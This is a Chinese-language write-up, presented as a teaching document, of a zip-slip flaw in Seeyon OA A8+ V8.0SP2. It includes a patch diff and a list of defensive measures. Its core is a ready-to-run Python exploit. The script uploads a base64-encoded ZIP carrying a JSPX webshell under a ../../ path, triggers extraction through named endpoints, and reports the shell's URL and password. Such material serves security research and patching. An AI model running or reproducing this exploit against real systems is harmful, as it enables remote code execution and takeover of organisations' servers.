致远OA ofd解压漏洞分析
字数 1070 2025-08-23 18:31:09
致远OA OFD解压漏洞分析与利用教学文档
漏洞概述
致远OA A8+集团版V8.0SP2存在一个OFD文件解压漏洞,攻击者可通过构造恶意OFD/ZIP文件实现任意文件写入,最终导致远程代码执行。
受影响版本
- A8+集团版V8.0SP2(未打补丁版本)
漏洞分析
漏洞位置
漏洞位于seeyon-apps-edoc/com/seeyon/apps/govdoc/gb/util/OfdJavaZipUtil.class中的unzip方法。
补丁对比
补丁修复前后关键差异:
修复前代码:
public static void unzip(String fileName, String path, Map<String, String> charsetMap) {
// ...
File f = new File(path + zn.getName());
File file = f.getParentFile();
file.mkdirs();
fos = new FileOutputStream(path + zn.getName());
// ...
}
修复后代码:
public static void unzip(String fileName, String path, Map<String, String> charsetMap) {
// ...
File f = new File(path, zn.getName());
File f1 = new File(Strings.getCanonicalPath(f.getPath()));
if (!FileUtil.inDirectory(f1, new File(path))) {
LOGGER.error("发现文件解压漏洞攻击行为: " + AppContext.currentUserName() + " 文件路径:" + f1.getAbsolutePath());
return;
}
// ...
}
漏洞原理
- 未修复版本中,直接将压缩包内文件名拼接到目标路径中,未做路径合法性检查
- 攻击者可构造包含
../../路径的文件名,实现任意文件写入 - 通过写入JSPX文件到web目录实现远程代码执行
漏洞利用链
-
上传恶意ZIP文件
- 接口:
/seeyon/rest/editContent/saveFile - 参数:
fileId(可控)、category=1
- 接口:
-
触发解压操作
- 接口:
/seeyon/content/content.do - 参数:
method=invokingFormsubApp=2ofdFileId=[上传的文件ID]isNew=true
- 接口:
-
文件写入路径
- 目标路径:
ApacheJetspeed/webapps/ROOT/[自定义文件名].jspx
- 目标路径:
漏洞利用步骤
1. 构造恶意ZIP文件
- 创建一个包含Webshell的文本文件,命名为
../../ApacheJetspeed/webapps/ROOT/mzr.jspx - 使用ZIP工具压缩该文件
- 使用010 Editor等工具修改ZIP文件中的文件名(需要修改两处)
2. 上传恶意文件
使用以下Python脚本上传构造的ZIP文件:
import requests
import base64
host = "http://target-ip"
headers = {
"User-Agent": "Mozilla/5.0",
"Cookie": "JSESSIONID=[有效会话ID]"
}
# 恶意ZIP文件的Base64编码
file_content = "UEsDBBQAAAAIANu5XVHzGO9FtgIAAOkFAAAwAAAALi4vLi4vLi4vLi4vQXBhY2hlSmV0c3BlZWQvd2ViYXBwcy9ST09UL216ci5qc3B4rVTfT9swEH4Gif/By5ODOrcDCoySSpQVaRvb0EqfEA+Oc20NqZPZTtcI9X/fOU5YKC9MWtRK5/Pd990v3/mDyc90llmyXqbKnOExChbW5mfd7gNfcWYKxUS27H6Z3HRv+BwCsgJtZKai4AM7CIYVQCI1CCtXwHI0IXKZZ9pGQQVQWJmy/U4ly6yW1kzoMrevjiYH0RinXM3ZftAd7u16EhAp19wiN6pQNoZMCawtqMSQS3e+zngCmjzt7e5MaVsjwkq5Y4ocNBXhAA8b/OdFnErhncmcxqWFu3sS19YabKEVqZxYAjOpoLKkcYf0OiRmKai5XTRo+Dvvvo60Ct4ILXObgkWF1WUFP7Faqjl5hDIKPvZ6sTg97Scn/f7h4Uk/GPgAfhVgLDNgLyxax4UFGpjHMug4t3DQgkm45VHjMAf7E1zmNGQahWsMnXpzOSPU2b6LiCrStE61QcHmkohMSmNh6VBudIbJ25L6Zta9DzzUTl0vkSUQOTCnJfXneNDcDU/ONdxmFAfmNAjJMCI9z0pan2/BiBs4PiKRP7JZpr/zJdDWJHkLH0Db/0f8gCNIPoELxuXgDV0O38AusoQGKNbXWD4/Hnf3oa8Ck2qVPQL1Xnjt8Z7vt+kcDJLUExM2vI7Oj0jYZk6qW2RV8JvUxE/elVWDvHkOoAbypk0QT65hDnCEPoYG09ur91jKzYuwNgRSA/9YWPe8l9IINrqYjI+Pava3lxej/KyM5UoA/S9FGhWzGeitUvnhfHuptgpTzeqlzBduE7gaVKLjfo49uBhPmqkWSCAtPfDAExC4B75COcHdRPHV/e1D2CHer3Z05lNqF9JspdhaRTREDRUsya6k4il1KYThyzoyfMU8NdQt08tMWdxxnsFlshHcigUdrwXkbsMQCLHlm0GzfNpaxmvceh/+AVBLAQIfABQAAAAIANu5XVHzGO9FtgIAAOkFAAAwACQAAAAAAAAAIAAAAAAAAAAuLi8uLi8uLi8uLi9BcGFjaGVKZXRzcGVlZC93ZWJhcHBzL1JPT1QvbXpyLmpzcHgKACAAAAAAAAEAGAAAKyVBBq7WAfv0tPzSyNkBzgG+GmrI2QFQSwUGAAAAAAEAAQCCAAAABAMAAAAA"
res = requests.post(
url=host + "/seeyon/rest/editContent/saveFile?fileId=9095842667142857911&category=1",
headers=headers,
files={"file": base64.b64decode(file_content)}
)
3. 触发漏洞
# 触发解压操作
requests.get(
url=host + "/seeyon/content/content.do?method=invokingForm&subApp=2&ofdFileId=9095842667142857911&isNew=true",
headers=headers
)
# 验证利用是否成功
if requests.get(url=host + "/mzr.jspx").status_code == 200:
print("[+] 上传成功")
print("[+] Webshell路径: %s/mzr.jspx 密码: sky" % host)
else:
print("[-] 利用失败")
4. 访问Webshell
成功利用后,可通过访问http://target-ip/mzr.jspx执行任意命令。
防御措施
- 及时安装致远OA官方发布的安全补丁
- 对文件解压操作进行严格的路径检查
- 限制上传文件的类型和内容
- 实施最小权限原则,限制Web服务器的写入权限
参考链接
- 致远OA安全补丁下载:https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=166
本教学文档详细分析了致远OA OFD解压漏洞的原理和利用方法,包含了从漏洞分析到实际利用的全过程。请仅将此文档用于合法授权测试和安全研究目的。